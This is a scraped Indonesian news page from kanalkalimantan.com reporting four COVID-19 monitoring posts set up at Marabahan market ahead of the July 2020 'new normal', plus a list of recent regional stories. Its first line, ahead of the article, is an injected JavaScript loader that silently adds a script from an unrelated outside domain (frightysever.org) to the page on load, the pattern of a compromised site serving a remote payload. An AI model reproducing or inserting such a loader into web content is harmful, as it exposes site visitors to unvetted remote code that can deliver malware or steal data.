(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Jelang New Normal, 4 Posko Terpadu Didirikan di Pasar Marabahan


KANALKALIMANTAN.COM, MARABAHAN – Sebanyak empat Pos Terpadu New Normal Covid-19, didirikan di kawasan Pasar Marabahan, seiring dengan kesiapan pelaksanaan new normal yang berlangsung pada 1 Juli 2020.

“Jadi adapun tujuan dari pos terpadu ini adalah mengawasi setiap pedagang, pembeli hingga masyarakat yang beraktivitas di lingkungan pasar agar dapat mematuhi dan menerapkan protocol kesehatan, seperti penggunaan masker dan mencuci tangan,” kata Perwira Pengendali Pos Terpadu Covid-19 Kecamatan Marabahan IBDA, H Rahaman.

Lebih jauh Rahman menjelaskan, empat pos terpadu itu didirikan di empat kawasan Pasar Marabahan yang meliputi Pasar Baru dan Pasar Wangkang di Kecamatan Marabahan. Setiap posko di jaga oleh beberapa orang anggota TNI Polri hingga relawan Covid-19 tingkat kecamatan.

“Selain dijaga oleh beberapa petugas, juga rutin melakukan cek suhu tubuh bagi pembeli yang berdatangan atau memasuki lingkungan Pasar Marabahan, pengunjung yang bersuhu tubuh tinggi akan diberi arahan mengurungkan niatnya dulu untuk memasuki pasar,” jelas dia.

Rahmadi, seorang pedagang di pertokoan Pasar Baru Marabahan mengapresiasi dengan adanya pendirian pos Terpadu covid-19 yang didirikan oleh Pemkab Batola belum lama tadi.

Kesiapan menghadapi new normal sebelum direalisasi nanti dinilai penting agar masyarakat tidak kaget saat pelaksanaan new normal akan di laksanakan 1 Juli 2020.

“Saya rasa ini kegiatan yang bagus ya, para gugus tugas bekerja keras guna mengurangi sebaran covid-19 khususnya di Kecamatan Marabahan, tidak berapa lama nanti juga ada petugas yang mengingatkan pedagang maupun pembeli yang tidak memakai masker untuk ditegur, semoga bisa menjadi kebiasaan yang baik dan dapat memenuhi standar protokol kesehatan yang ada,” ujar dia.

Selain pendirian pos Terpadu new normal, berdasarkan pantauan Kanal kalimantan. Com, di lingkungan Pasar Marabahan juga terpantau fasilitas pencuci tangan dan puluhan spanduk yang berisikan imbauan bupati dan bakil bupati Batola mengenai protokol kesehatan. (kanalkalimantan.com/rdy)

 

Reporter : Rendy
Editor : Dhani

 


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.